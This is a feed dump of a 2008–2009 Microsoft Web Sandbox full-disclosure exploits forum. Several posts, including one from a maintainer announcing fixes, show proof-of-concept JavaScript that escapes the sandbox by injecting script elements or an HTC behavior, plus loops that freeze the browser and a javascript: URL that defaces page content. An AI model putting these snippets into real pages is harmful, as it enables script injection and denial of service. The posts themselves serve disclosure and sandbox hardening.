Web Sandbox - Exploits ForumThis forum is for discussing exploits relevant to the Web Sandbox project from Microsoft Live Labs. It is a full disclosure forum. Use it to share and discuss exploits with the community of developers interested in securing the web using the Sandbox.© 2009 Microsoft Corporation. All rights reserved.Wed, 18 Nov 2009 22:20:27 Zaf4c154c-c0d8-41ec-bd7a-881812bd0f5chttp://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/afaf1435-5e8d-44bc-9b08-82674ec466b8http://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/afaf1435-5e8d-44bc-9b08-82674ec466b8pwilly421http://social.msdn.microsoft.com/Profile/en-US/?user=pwilly421Hotmail account, lost passwordI have lost my email password. I changed it on Oct. 9th when there were reports of stolen passwords. I did not write the password down and have forgotten what I did. I am also locked out because I did not answer the secret question right the first time. Is there anyone to call and find out what I did or how to get my password sent to another email besides the email that I am locked out of? Thank You.Tue, 13 Oct 2009 15:56:56 Z2009-10-13T15:56:58Zhttp://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/cbaa8d6f-b701-481b-95cb-eba0412b40c7http://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/cbaa8d6f-b701-481b-95cb-eba0412b40c7FremyCompanyhttp://social.msdn.microsoft.com/Profile/en-US/?user=FremyCompanyHTC ComponentsIf I had the possibility to add a file on your server, it would be very easy to hack your system<br/><br/>&lt;style&gt;<br/>p { behavior: url(myJScriptHere.htc); }<br/>&lt;/style&gt;<br/><br/>The HTC : <br/>&lt;PUBLIC:COMPONENT&gt;<br/>&lt;SCRIPT LANGUAGE=&quot;JScript&quot;&gt;<br/>    alert('Bang !');<br/>   document.getElementById(&quot;sample&quot;).outerHTML=&quot;&quot;;<br/>&lt;/SCRIPT&gt;<br/>&lt;/PUBLIC:COMPONENT&gt;<br/><br/>It does not work with HTC on others domain due to Cross-Site limitations.<hr class="sig">Fremy - Developer in VB.NET, C# and JScript ... - Feel free to try my extensionWed, 08 Apr 2009 22:24:47 Z2009-09-18T19:58:50Zhttp://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/a6062700-e2be-44a9-97bc-1152aacaa205http://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/a6062700-e2be-44a9-97bc-1152aacaa205parreghttp://social.msdn.microsoft.com/Profile/en-US/?user=parregMSVCR80D.DLL is not a valid window image Hello,<br><br>When I transfer a application from one computer to the next via a thumb drive, and then rebuild it on the new computer I get the above error upon execution.  It use to complain that it could find MSVCR80D.DLL even though it was in the program files folder under VC.  I took a copy of this image and put it in the local application's debug folder, did a rebuild all and execute and got the above error.  I'm not sure why its complaining, and after a few rebuilds it stops complaining until the next rebuild all.  The computer that I'm transfering the application from never has this problem.  I'm using Visual Studio 2005 of both computers.<br>Thanks in advance.<br><br>parregTue, 30 Dec 2008 20:26:09 Z2009-01-13T05:42:40Zhttp://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/99b4f6e0-c75f-4c63-bdbb-e7dbe8c59414http://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/99b4f6e0-c75f-4c63-bdbb-e7dbe8c59414Jeremiah Carrollhttp://social.msdn.microsoft.com/Profile/en-US/?user=Jeremiah%20CarrollThis causes the browser to freeze for at least a few seconds<p>var s = &quot;a&quot;;<br><br>for (var i = 0; i &lt; 200000; ++i)<br>{<br>    s += s;<br>}<br><br>alert(&quot;DONE&quot;);</p><hr size="1" align="left" width="25%">.NET Solutions ArchitectFri, 31 Oct 2008 21:08:09 Z2008-11-02T22:01:26Zhttp://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/32b0b8a6-c189-4cff-8d69-c4db71e7511bhttp://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/32b0b8a6-c189-4cff-8d69-c4db71e7511bJeremiah Carrollhttp://social.msdn.microsoft.com/Profile/en-US/?user=Jeremiah%20CarrollDoes this count? It stops the update frequency.&lt;script type=&quot;text/javascript&quot;&gt;<br>   for (var i = 0; i &lt; 1000000; ++i)<br>      var j = 0;<br>&lt;/script&gt;<br><br><hr size="1" align="left" width="25%">.NET Solutions ArchitectFri, 31 Oct 2008 19:05:23 Z2008-10-31T21:45:06Zhttp://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/b90292e3-9cbf-4673-a034-970efc2a9b1ehttp://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/b90292e3-9cbf-4673-a034-970efc2a9b1eScott Isaacshttp://social.msdn.microsoft.com/Profile/en-US/?user=Scott%20IsaacsNew Update - Fixed a few exploits We propped a new update of the Web Sandbox.<br><br>This fixes a few exploits that were discovered in the past day.  We are sharing these to illustrate a few potential attack vectors.  The fix was the same - we needed to deny setting the contents of the scripts (there are a couple of mechanisms).   Also, to illustrate how the system works, the fix merely involved overriding the script element rules for innerHTML, appendChild, etc., with an explicity deny rule (no heavy lifting was necessary).<br><br> <p>&lt;html&gt;<br>     &lt;head&gt;<br>         &lt;title&gt;Your Gadget's Title&lt;/title&gt;<br>         &lt;script type=&quot;text/javascript&quot;&gt;<br>            function splode() {<br>                document.write('\x3cscript\x3ealert('got you');\x3c/script\x3e');<br>            }<br>         &lt;/script&gt;<br>         &lt;style type=&quot;text/css&quot;&gt;<br>             /* CSS Styles Goes here */<br>         &lt;/style&gt;<br>     &lt;/head&gt;<br>     &lt;body onload=&quot;splode()&quot;&gt;<br>         &lt;p&gt;Your Gadget's HTML goes here.  Your HTML must be well-formed.&lt;/p&gt;<br>     &lt;/body&gt;</p> <p>&lt;/html&gt;<br><br><br></p> <p>&lt;html&gt;<br>     &lt;head&gt;<br>         &lt;title&gt;Your Gadget's Title&lt;/title&gt;<br>         &lt;script type=&quot;text/javascript&quot;&gt;<br>            function splode() {</p> <p>                var el = document.createElement(&quot;script&quot;);<br>                el.innerHTML = &quot;alert(1)&quot;;<br>                document.body.appendChild(el);<br>            }<br>         &lt;/script&gt;<br>         &lt;style type=&quot;text/css&quot;&gt;<br>             /* CSS Styles Goes here */<br>         &lt;/style&gt;<br>     &lt;/head&gt;<br>     &lt;body onload=&quot;splode2()&quot;&gt;<br>         &lt;p&gt;Your Gadget's HTML goes here.  Your HTML must be well-formed.&lt;/p&gt;<br>     &lt;/body&gt;</p> <p>&lt;/html&gt;<br><br><br>Enjoy,<br>Scott</p>Sat, 25 Oct 2008 00:25:08 Z2008-10-30T06:41:32Zhttp://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/2d965728-dff6-41bd-9771-1d4b17639defhttp://social.msdn.microsoft.com/Forums/en-US/websandbox-exploits/thread/2d965728-dff6-41bd-9771-1d4b17639defFlyingBuzzhttp://social.msdn.microsoft.com/Profile/en-US/?user=FlyingBuzzThere i replaced the timer by typing this in urljavascript:void(window.setInterval(function() {document.getElementById(&quot;currentTime&quot;).innerText = &quot;hacked&quot;;}, 10));Thu, 23 Oct 2008 23:16:44 Z2008-10-28T15:57:20Z